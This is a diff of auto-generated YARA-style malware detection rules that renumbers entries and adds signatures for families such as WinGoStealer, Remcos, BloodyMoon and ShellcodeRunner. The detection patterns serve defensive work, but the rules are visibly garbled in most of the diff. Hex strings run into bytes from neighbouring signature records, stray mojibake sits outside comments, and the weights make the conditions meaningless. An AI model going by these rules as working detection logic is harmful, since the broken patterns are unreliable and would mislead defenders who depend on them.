"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98456,7 +104671,7 @@ rule _InfrastructureShared_9182{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9183{ +rule _InfrastructureShared_9754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98466,7 +104681,7 @@ rule _InfrastructureShared_9183{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9184{ +rule _InfrastructureShared_9755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98476,7 +104691,7 @@ rule _InfrastructureShared_9184{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9185{ +rule _InfrastructureShared_9756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98486,7 +104701,7 @@ rule _InfrastructureShared_9185{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9186{ +rule _InfrastructureShared_9757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98496,7 +104711,7 @@ rule _InfrastructureShared_9186{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9187{ +rule _InfrastructureShared_9758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98506,7 +104721,7 @@ rule _InfrastructureShared_9187{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9188{ +rule _InfrastructureShared_9759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98516,7 +104731,7 @@ rule _InfrastructureShared_9188{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9189{ +rule _InfrastructureShared_9760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98526,7 +104741,7 @@ rule _InfrastructureShared_9189{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9190{ +rule _InfrastructureShared_9761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98536,7 +104751,17 @@ rule _InfrastructureShared_9190{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9191{ +rule _InfrastructureShared_9762{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 57 69 6e 47 6f 53 74 65 61 6c 65 72 2e 52 50 41 21 4d 54 42 00 01 00 56 03 2e 4d 50 52 45 53 53 32 7f 0b 00 00 00 90 01 02 00 00 0c 00 00 00 90 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_9763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98546,7 +104771,7 @@ rule _InfrastructureShared_9191{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9192{ +rule _InfrastructureShared_9764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98557,7 +104782,7 @@ rule _InfrastructureShared_9192{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*-2087) >=1 } -rule _InfrastructureShared_9193{ +rule _InfrastructureShared_9765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98568,7 +104793,7 @@ rule _InfrastructureShared_9193{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*25906) >=1 } -rule _InfrastructureShared_9194{ +rule _InfrastructureShared_9766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98579,7 +104804,7 @@ rule _InfrastructureShared_9194{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*26160) >=1 } -rule _InfrastructureShared_9195{ +rule _InfrastructureShared_9767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98590,7 +104815,7 @@ rule _InfrastructureShared_9195{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*14389) >=1 } -rule _InfrastructureShared_9196{ +rule _InfrastructureShared_9768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98601,7 +104826,7 @@ rule _InfrastructureShared_9196{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*13106) >=1 } -rule _InfrastructureShared_9197{ +rule _InfrastructureShared_9769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98612,7 +104837,7 @@ rule _InfrastructureShared_9197{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24934) >=1 } -rule _InfrastructureShared_9198{ +rule _InfrastructureShared_9770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98623,7 +104848,7 @@ rule _InfrastructureShared_9198{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*13364) >=1 } -rule _InfrastructureShared_9199{ +rule _InfrastructureShared_9771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98634,7 +104859,7 @@ rule _InfrastructureShared_9199{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*13361) >=1 } -rule _InfrastructureShared_9200{ +rule _InfrastructureShared_9772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98645,7 +104870,7 @@ rule _InfrastructureShared_9200{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28617) >=1 } -rule _InfrastructureShared_9201{ +rule _InfrastructureShared_9773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98656,7 +104881,7 @@ rule _InfrastructureShared_9201{ ((#a_46_0 & 1)*21283+(#a_5d_1 & 1)*32767) >=1 } -rule _InfrastructureShared_9202{ +rule _InfrastructureShared_9774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -98667,7 +104892,7 @@ rule _InfrastructureShared_9202{ ((#a_6f_0 & 1)*21539+(#a_04_1 & 1)*1278) >=1 } -rule _InfrastructureShared_9203{ +rule _InfrastructureShared_9775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -98679,7 +104904,7 @@ rule _InfrastructureShared_9203{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-14601+(#a_83_2 & 1)*17801) >=1 } -rule _InfrastructureShared_9204{ +rule _InfrastructureShared_9776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -98689,7 +104914,7 @@ rule _InfrastructureShared_9204{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_9205{ +rule _InfrastructureShared_9777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98700,7 +104925,7 @@ rule _InfrastructureShared_9205{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*256) >=2 } -rule _InfrastructureShared_9206{ +rule _InfrastructureShared_9778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98711,7 +104936,7 @@ rule _InfrastructureShared_9206{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*-14197) >=2 } -rule _InfrastructureShared_9207{ +rule _InfrastructureShared_9779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98722,7 +104947,7 @@ rule _InfrastructureShared_9207{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_9208{ +rule _InfrastructureShared_9780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98733,7 +104958,7 @@ rule _InfrastructureShared_9208{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*29696) >=2 } -rule _InfrastructureShared_9209{ +rule _InfrastructureShared_9781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98744,7 +104969,7 @@ rule _InfrastructureShared_9209{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*29811) >=2 } -rule _InfrastructureShared_9210{ +rule _InfrastructureShared_9782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98755,7 +104980,7 @@ rule _InfrastructureShared_9210{ ((#a_4c_0 & 1)*21539+(#a_85_1 & 1)*769) >=2 } -rule _InfrastructureShared_9211{ +rule _InfrastructureShared_9783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -98766,7 +104991,7 @@ rule _InfrastructureShared_9211{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*28708) >=2 } -rule _InfrastructureShared_9212{ +rule _InfrastructureShared_9784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -98778,7 +105003,7 @@ rule _InfrastructureShared_9212{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_6e_2 & 1)*24421) >=2 } -rule _InfrastructureShared_9213{ +rule _InfrastructureShared_9785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -98790,7 +105015,7 @@ rule _InfrastructureShared_9213{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28783+(#a_6f_2 & 1)*25439) >=2 } -rule _InfrastructureShared_9214{ +rule _InfrastructureShared_9786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -98801,30 +105026,43 @@ rule _InfrastructureShared_9214{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*28483) >=2 } -rule _InfrastructureShared_9215{ +rule _InfrastructureShared_9787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 44 79 7a 61 70 2e 53 00 01 00 28 03 8b d8 ff d6 50 ff d7 8b 74 24 90 01 01 89 44 24 90 01 01 8d 44 24 90 01 01 50 68 00 00 02 00 56 6a 05 ff d3 85 c0 90 00 01 00 11 01 6a 33 c1 e2 00 c1 cf 00 e8 00 00 00 00 83 04 24 09 01 00 19 01 83 f8 02 74 01 } //18467 $a_e8_1 = {00 00 00 c7 44 24 04 23 00 00 00 83 04 24 0d 01 00 11 01 89 75 f4 89 75 f8 c1 ea 00 c1 e0 00 c1 c3 00 8b c1 00 00 78 8a 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6c 78 65 6e 73 2e 41 21 62 69 74 00 01 00 3a 01 63 00 68 00 65 00 } //24228 - $a_00_2 = {73 00 65 00 6c 00 73 00 77 00 6f 00 72 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 65 00 6c 00 73 00 2f 00 74 00 72 00 61 00 69 00 6e 00 65 00 72 00 01 00 10 01 5c 00 65 00 6c 00 78 00 2e 00 64 00 6c 00 6c 00 01 00 07 01 42 79 70 61 73 73 3a 00 00 78 8a 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 53 6f 64 65 62 72 61 6c 2e 47 31 00 01 00 23 01 2e 65 } //97 + $a_00_2 = {73 00 65 00 6c 00 73 00 77 00 6f 00 72 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 65 00 6c 00 73 00 2f 00 74 00 72 00 61 00 69 00 6e 00 65 00 72 00 01 00 10 01 5c 00 65 00 6c 00 78 00 2e 00 64 00 6c 00 6c 00 01 00 07 01 42 79 70 61 73 73 3a 00 00 78 8a 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 42 69 6f 57 } //97 + $a_75_3 = {2e 41 21 64 68 61 00 01 00 28 43 6a 00 6a 00 6a 00 68 90 01 04 6a 00 6a 00 ff d6 6a 00 6a 00 6a 00 68 90 01 04 6a 00 6a 00 89 44 24 90 01 01 ff d6 90 00 01 00 13 43 52 68 7f 66 04 40 55 ff 15 90 01 04 83 f8 ff 0f 84 90 00 01 00 16 43 83 fe 03 0f 8d 90 01 04 68 4a 01 00 00 ff 15 90 01 04 46 eb 90 00 00 00 78 8a 00 00 03 00 03 00 } //27745 condition: - ((#a_54_0 & 1)*18467+(#a_e8_1 & 1)*24228+(#a_00_2 & 1)*97) >=2 + ((#a_54_0 & 1)*18467+(#a_e8_1 & 1)*24228+(#a_00_2 & 1)*97+(#a_75_3 & 1)*27745) >=2 } -rule _InfrastructureShared_9216{ +rule _InfrastructureShared_9788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6c 78 65 6e 73 2e 41 21 62 69 74 00 01 00 3a 01 63 00 68 00 65 00 61 00 74 00 73 00 65 00 6c 00 73 00 77 00 6f 00 72 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 65 00 6c 00 73 } //16675 午剔吺潲慪㩮楗㍮⼲汅數獮䄮戡瑩Ā㨀持栀攀愀琀猀攀氀猀眀漀爀搀⸀挀漀洀⼀攀氀猀 - $a_00_2 = {69 00 6e 00 65 00 72 00 01 00 10 01 5c 00 65 00 6c 00 78 00 2e 00 64 00 6c 00 6c 00 01 00 07 01 42 79 70 61 73 73 3a 00 00 78 8a 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 53 6f 64 65 62 72 61 6c 2e 47 31 00 01 00 23 01 2e 65 78 65 00 54 4d 65 74 68 6f 64 49 6d 70 6c 65 6d 65 6e 74 61 74 } //114 + $a_00_2 = {69 00 6e 00 65 00 72 00 01 00 10 01 5c 00 65 00 6c 00 78 00 2e 00 64 00 6c 00 6c 00 01 00 07 01 42 79 70 61 73 73 3a 00 00 78 8a 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 42 69 6f 57 61 6c 6e 75 74 2e 41 21 64 68 61 00 01 00 28 43 6a 00 6a 00 6a } //114 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_9217{ +rule _InfrastructureShared_9789{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 42 69 6f 57 61 6c 6e 75 74 2e 41 21 64 68 61 00 01 00 28 43 6a 00 6a 00 6a 00 68 90 01 04 6a 00 6a 00 ff d6 6a 00 6a 00 6a 00 68 90 01 04 6a 00 6a 00 89 44 24 90 01 01 ff d6 90 00 01 } //16675 + $a_52_1 = {7f 66 04 40 55 ff 15 90 01 04 83 f8 ff 0f 84 90 00 01 00 16 43 83 fe 03 0f 8d 90 01 04 68 4a 01 00 00 ff 15 90 01 04 46 eb 90 00 00 00 78 8a 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 53 6f 64 65 62 } //4864 + $a_2e_2 = {31 00 01 00 23 01 2e 65 78 65 00 54 4d 65 74 68 6f 64 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 49 6e 74 65 72 63 65 70 74 01 00 22 03 56 50 53 e8 01 00 00 00 cc 58 89 c3 40 2d 00 90 01 02 00 2d 00 90 01 02 10 90 01 05 80 3b cc 75 90 00 01 00 1e 03 c6 03 00 bb 00 10 00 00 68 90 01 04 68 90 01 04 53 50 e8 90 01 01 00 00 00 } //24946 + condition: + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*4864+(#a_2e_2 & 1)*24946) >=3 + +} +rule _InfrastructureShared_9790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98836,7 +105074,7 @@ rule _InfrastructureShared_9217{ ((#a_54_0 & 1)*18467+(#a_cc_1 & 1)*-32763+(#a_4d_2 & 1)*28257) >=3 } -rule _InfrastructureShared_9218{ +rule _InfrastructureShared_9791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98848,7 +105086,7 @@ rule _InfrastructureShared_9218{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*4870+(#a_00_2 & 1)*10245) >=3 } -rule _InfrastructureShared_9219{ +rule _InfrastructureShared_9792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98860,7 +105098,7 @@ rule _InfrastructureShared_9219{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31092+(#a_69_2 & 1)*25970) >=3 } -rule _InfrastructureShared_9220{ +rule _InfrastructureShared_9793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98872,7 +105110,7 @@ rule _InfrastructureShared_9220{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_61_2 & 1)*26465) >=3 } -rule _InfrastructureShared_9221{ +rule _InfrastructureShared_9794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98884,7 +105122,7 @@ rule _InfrastructureShared_9221{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27507+(#a_4d_2 & 1)*25960) >=3 } -rule _InfrastructureShared_9222{ +rule _InfrastructureShared_9795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98896,7 +105134,7 @@ rule _InfrastructureShared_9222{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8307+(#a_4b_2 & 1)*29285) >=3 } -rule _InfrastructureShared_9223{ +rule _InfrastructureShared_9796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98908,7 +105146,7 @@ rule _InfrastructureShared_9223{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28261+(#a_24_2 & 1)*-30444) >=3 } -rule _InfrastructureShared_9224{ +rule _InfrastructureShared_9797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98920,7 +105158,7 @@ rule _InfrastructureShared_9224{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-3003+(#a_08_2 & 1)*17545) >=3 } -rule _InfrastructureShared_9225{ +rule _InfrastructureShared_9798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -98931,7 +105169,7 @@ rule _InfrastructureShared_9225{ ((#a_77_0 & 1)*27683+(#a_4f_1 & 1)*24396) >=3 } -rule _InfrastructureShared_9226{ +rule _InfrastructureShared_9799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -98940,12 +105178,12 @@ rule _InfrastructureShared_9226{ $a_6e_1 = {74 61 6c 6c 26 6d 63 3d 00 00 78 8a 00 00 04 00 03 00 03 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 53 79 73 74 65 6d 4d 61 69 6e 74 65 6e 61 6e 63 65 50 72 6f 00 02 00 22 01 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 53 79 73 74 65 6d 20 4d 61 69 6e 74 65 6e 61 6e 63 65 2e 70 64 62 01 00 14 00 64 } //15732 $a_00_3 = {69 00 2e 00 65 00 78 00 65 00 01 00 16 00 70 00 69 00 63 00 5f 00 63 00 6c 00 65 00 61 00 6e 00 75 00 70 00 00 00 78 8a 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 42 6c 6f 6f 64 79 4d 6f 6f 6e 2e 44 21 64 68 61 00 04 00 11 01 00 00 01 00 02 00 68 69 6a 61 63 6b 2e 64 6c 6c 00 04 00 43 43 53 56 6a 00 57 ff } //103 $a_04_4 = {6a } //-28651 j - $a_d8_6 = {6a 00 ff 15 90 01 04 8b f0 85 f6 74 37 6a 00 8d 85 90 01 04 c7 85 90 01 04 00 00 00 00 50 53 56 57 ff 15 90 01 04 85 c0 90 01 02 ff d6 90 00 00 00 78 8a 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 43 43 4a 55 21 4d 54 42 00 02 00 17 03 ff d3 31 d2 f7 35 90 01 04 48 89 d0 48 c1 e0 04 39 74 38 08 74 90 00 01 00 20 01 61 6e 6e 75 65 } //0 + $a_d8_6 = {6a 00 ff 15 90 01 04 8b f0 85 f6 74 37 6a 00 8d 85 90 01 04 c7 85 90 01 04 00 00 00 00 50 53 56 57 ff 15 90 01 04 85 c0 90 01 02 ff d6 90 00 00 00 78 8a 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 53 49 21 4d 54 42 00 01 00 1e 03 73 21 00 00 0a 25 6f 90 01 01 00 00 0a 2b 3b 72 0f 01 00 70 6f 90 01 01 00 00 0a 25 90 00 03 00 3b 03 03 72 84 02 00 70 06 28 90 } //0 condition: ((#a_77_0 & 1)*19491+(#a_6e_1 & 1)*15732+(#a_00_3 & 1)*103+(#a_04_4 & 1)*-28651+(#a_d8_6 & 1)*0) >=3 } -rule _InfrastructureShared_9227{ +rule _InfrastructureShared_9800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 03 00 21 " @@ -98956,7 +105194,7 @@ rule _InfrastructureShared_9227{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105) >=3 } -rule _InfrastructureShared_9228{ +rule _InfrastructureShared_9801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -98967,7 +105205,30 @@ rule _InfrastructureShared_9228{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*104) >=4 } -rule _InfrastructureShared_9229{ +rule _InfrastructureShared_9802{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 53 49 21 4d 54 42 00 01 00 1e 03 73 21 00 00 0a 25 6f 90 01 01 00 00 0a 2b 3b 72 0f 01 00 70 6f 90 01 01 00 00 0a 25 90 00 03 00 3b 03 03 72 84 02 } //21539 + $a_28_1 = {01 01 00 00 06 de } //28672 + condition: + ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*28672) >=4 + +} +rule _InfrastructureShared_9803{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 2e 50 41 47 4f 21 4d 54 42 00 03 00 10 81 01 44 6f 74 4e 65 74 52 75 6e 6e 65 72 2e 70 64 62 03 00 13 81 01 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 01 00 27 } //18467 + $a_63_1 = {65 65 6e 43 6f 6e 6e 65 63 74 2e 43 6c 69 65 6e 74 49 6e 73 74 61 6c 6c 65 72 52 75 6e 6e 65 72 2e 70 64 62 00 00 78 8a 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e } //385 + $a_55_2 = {4d 54 42 00 02 00 17 03 ff d3 31 d2 f7 35 90 01 04 48 89 d0 48 c1 e0 04 39 74 38 08 74 90 00 01 00 20 01 61 6e 6e 75 65 6a 6c 68 68 61 62 6d 7a 71 6a 7a 68 61 6d 6f 76 63 78 70 69 61 6e 6b 73 64 76 69 01 00 13 01 5c 73 79 } //17219 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*385+(#a_55_2 & 1)*17219) >=4 + +} +rule _InfrastructureShared_9804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -98979,7 +105240,7 @@ rule _InfrastructureShared_9229{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*28257+(#a_01_2 & 1)*1) >=4 } -rule _InfrastructureShared_9230{ +rule _InfrastructureShared_9805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98987,25 +105248,77 @@ rule _InfrastructureShared_9230{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 53 4d 21 4d 54 42 00 01 00 0b 01 6a 00 6a 00 6a 00 6a 00 6a 00 e8 01 00 04 01 40 00 50 c3 01 00 16 03 89 7d 14 8a 14 ?? 88 16 8b 55 14 46 4a 89 55 14 75 f1 } //16675 $a_01_1 = {8a 04 1a 88 45 17 8a 06 88 04 1a 8a 55 17 8b c1 88 16 c1 e0 07 c1 e9 19 0b c8 8b 45 10 2b cf 81 e9 d2 02 96 49 4e 03 c6 85 c0 75 ce } //1 $a_8a_2 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 39 30 37 32 32 31 21 4d 54 42 00 01 00 0c 01 42 00 38 00 44 00 32 00 35 00 54 00 01 00 16 01 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 01 00 12 01 44 65 66 65 72 72 65 64 44 69 73 70 6f 73 61 62 6c 65 01 00 12 01 43 } //0 ЀЀЀ℀䠣呓㩒牔橯湡䴺䥓⽌杁湥呴獥慬匮ㅍ〹㈷ㄲ䴡䉔Āఀ䈁㠀䐀㈀㔀吀Āᘀ䌁浯楰慬楴湯敒慬慸楴湯ųሀ䐁晥牥敲䑤獩潰慳汢ťሀ䌁 - $a_67_3 = {72 79 4d 65 6d 62 65 72 73 68 69 70 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 53 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 61 6e 75 74 65 72 67 69 75 6d 01 00 0e 81 01 74 61 69 6e 75 69 20 62 61 74 74 69 6e 67 01 00 19 81 01 70 74 65 } //29793 + $a_67_3 = {72 79 4d 65 6d 62 65 72 73 68 69 70 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 50 30 31 21 4d 54 42 00 01 00 13 81 01 71 75 61 64 72 65 6c 20 61 6e 61 72 6b 69 73 6d 65 6e 73 01 00 0c 81 01 66 61 6e 63 69 66 75 6c 6e } //29793 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_8a_2 & 1)*0+(#a_67_3 & 1)*29793) >=4 } -rule _InfrastructureShared_9231{ +rule _InfrastructureShared_9806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 39 30 37 32 32 31 21 4d 54 42 00 01 00 0c 01 42 00 38 00 44 00 32 00 35 00 54 00 01 00 16 01 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 01 00 12 } //18467 - $a_66_1 = {72 72 65 64 44 69 73 70 6f 73 61 62 6c 65 01 00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 53 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 61 6e 75 74 65 72 67 69 75 6d 01 00 0e } //17409 - $a_61_2 = 